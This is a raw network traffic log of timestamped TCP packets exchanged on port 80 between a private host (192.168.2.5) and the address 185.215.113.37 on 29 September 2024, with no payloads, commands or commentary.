Sep 29, 2024 02:00:16.608376980 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:16.608411074 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:16.608432055 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:16.608445883 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:16.608470917 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:16.608485937 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:16.608499050 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:16.608535051 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:16.608556986 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:16.608570099 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:16.608594894 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:16.608608007 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:16.608701944 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:16.608715057 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:16.608726978 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:16.608738899 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:16.608752966 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:16.608768940 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:16.608920097 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:16.608932972 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:16.608948946 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:16.608957052 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:16.608962059 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:16.608971119 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:16.608974934 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:16.608987093 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:16.609002113 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:16.609018087 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:16.609138012 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:16.609149933 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:16.609162092 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:16.609174013 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:16.609179020 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:16.609208107 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:16.609328985 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:16.609342098 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:16.609353065 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:16.609368086 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:16.609395027 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:16.609507084 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:16.609519005 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:16.609532118 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:16.609541893 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:16.609544039 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:16.609555006 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:16.609560966 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:16.609568119 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:16.609579086 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:16.609587908 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:16.609591007 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:16.609606981 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:16.609689951 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:16.609893084 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:16.609905005 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:16.609918118 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:16.609930038 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:16.609931946 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:16.609942913 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:16.609956980 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:16.609985113 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:16.610029936 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:16.610064030 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:16.610172987 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:16.610186100 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:16.610198021 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:16.610208988 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:16.610210896 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:16.610219955 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:16.610224962 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:16.610234022 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:16.610241890 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:16.610246897 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:16.610258102 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:16.610269070 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:16.610274076 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:16.610280991 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:16.610292912 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:16.610292912 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:16.610313892 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:16.610331059 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:16.610733986 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:16.610747099 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:16.610759020 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:16.610769033 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:16.610776901 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:16.610780954 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:16.610793114 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:16.610794067 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:16.610805988 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:16.610819101 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:16.610819101 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:16.610836983 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:16.610853910 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:16.611033916 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:16.611073017 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:16.611232042 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:16.611243963 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:16.611255884 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:16.611267090 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:16.611270905 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:16.611279011 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:16.611284971 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:16.611291885 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:16.611304998 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:16.611306906 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:16.611316919 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:16.611326933 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:16.611334085 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:16.611340046 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:16.611349106 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:16.611351013 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:16.611363888 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:16.611366034 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:16.611376047 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:16.611393929 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:16.611397982 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:16.611409903 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:16.611423016 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:16.611424923 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:16.611448050 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:16.611463070 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:16.612174034 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:16.612186909 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:16.612199068 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:16.612210989 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:16.612217903 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:16.612222910 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:16.612232924 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:16.612236023 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:16.612247944 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:16.612261057 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:16.612262964 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:16.612272978 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:16.612282991 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:16.612284899 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:16.612297058 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:16.612299919 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:16.612309933 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:16.612327099 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:16.612327099 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:16.612339973 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:16.612354994 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:16.612370968 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:16.612397909 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:16.612945080 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:16.612957001 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:16.612967014 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:16.612977982 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:16.612987995 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:16.612989902 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:16.613002062 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:16.613013983 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:16.613014936 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:16.613025904 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:16.613037109 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:16.613049030 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:16.613051891 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:16.613063097 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:16.613065958 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:16.613075018 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:16.613082886 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:16.613087893 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:16.613101006 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:16.613111973 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:16.613114119 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:16.613122940 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:16.613135099 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:16.613142967 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:16.613158941 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:16.613183975 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:16.613879919 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:16.613893032 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:16.613903999 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:16.613915920 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:16.613928080 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:16.613934040 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:16.613940954 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:16.613954067 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:16.613965034 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:16.613965988 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:16.613979101 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:16.613984108 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:16.613990068 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:16.614002943 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:16.614003897 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:16.614017963 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:16.614029884 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:16.614031076 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:16.614042044 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:16.614053011 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:16.614059925 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:16.614067078 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:16.614078999 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:16.614080906 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:16.614103079 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:16.614126921 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:16.614646912 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:16.614661932 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:16.614692926 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:16.614715099 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:16.696973085 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:16.697000027 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:16.697011948 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:16.697024107 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:16.697036982 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:16.697048903 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:16.697062016 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:16.697160006 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:16.697170019 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:16.697185040 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:16.697185040 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:16.697210073 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:16.697218895 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:16.697222948 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:16.697227001 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:16.697246075 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:16.697262049 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:16.697369099 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:16.697382927 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:16.697396040 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:16.697407007 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:16.697407007 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:16.697422028 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:16.697423935 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:16.697443962 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:16.697473049 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:16.697607040 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:16.697639942 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:16.697694063 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:16.697705030 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:16.697716951 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:16.697727919 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:16.697730064 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:16.697740078 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:16.697747946 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:16.697781086 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:16.697957039 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:16.697968006 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:16.697978020 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:16.697989941 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:16.698004007 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:16.698014021 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:16.698015928 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:16.698029995 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:16.698048115 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:16.698076963 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:16.698385000 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:16.698395014 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:16.698406935 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:16.698421001 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:16.698427916 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:16.698432922 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:16.698445082 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:16.698457003 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:16.698462009 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:16.698494911 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:16.698648930 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:16.698688030 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:16.698847055 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:16.698858976 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:16.698869944 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:16.698879957 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:16.698888063 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:16.698892117 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:16.698904037 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:16.698909998 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:16.698915005 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:16.698925972 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:16.698932886 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:16.698935986 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:16.698951006 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:16.698961020 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:16.698961973 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:16.698973894 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:16.698977947 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:16.698985100 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:16.698997021 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:16.699008942 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:16.699038029 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:16.699615955 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:16.699629068 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:16.699640036 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:16.699651003 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:16.699661016 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:16.699670076 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:16.699671984 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:16.699682951 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:16.699690104 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:16.699695110 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:16.699707031 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:16.699717999 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:16.699731112 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:16.699733973 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:16.699743032 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:16.699754953 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:16.699755907 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:16.699773073 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:16.699779987 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:16.699784994 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:16.699795961 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:16.699799061 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:16.699809074 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:16.699819088 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:16.699830055 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:16.699831009 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:16.699860096 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:16.699886084 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:16.700525999 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:16.700539112 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:16.700550079 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:16.700561047 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:16.700572014 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:16.700573921 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:16.700583935 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:16.700589895 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:16.700596094 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:16.700623035 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:16.700623989 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:16.700635910 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:16.700644970 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:16.700647116 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:16.700656891 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:16.700669050 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:16.700669050 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:16.700680017 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:16.700691938 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:16.700696945 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:16.700709105 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:16.700717926 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:16.700720072 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:16.700732946 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:16.700738907 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:16.700746059 CEST	80	49704	185.215.113.37	192.168.2.5
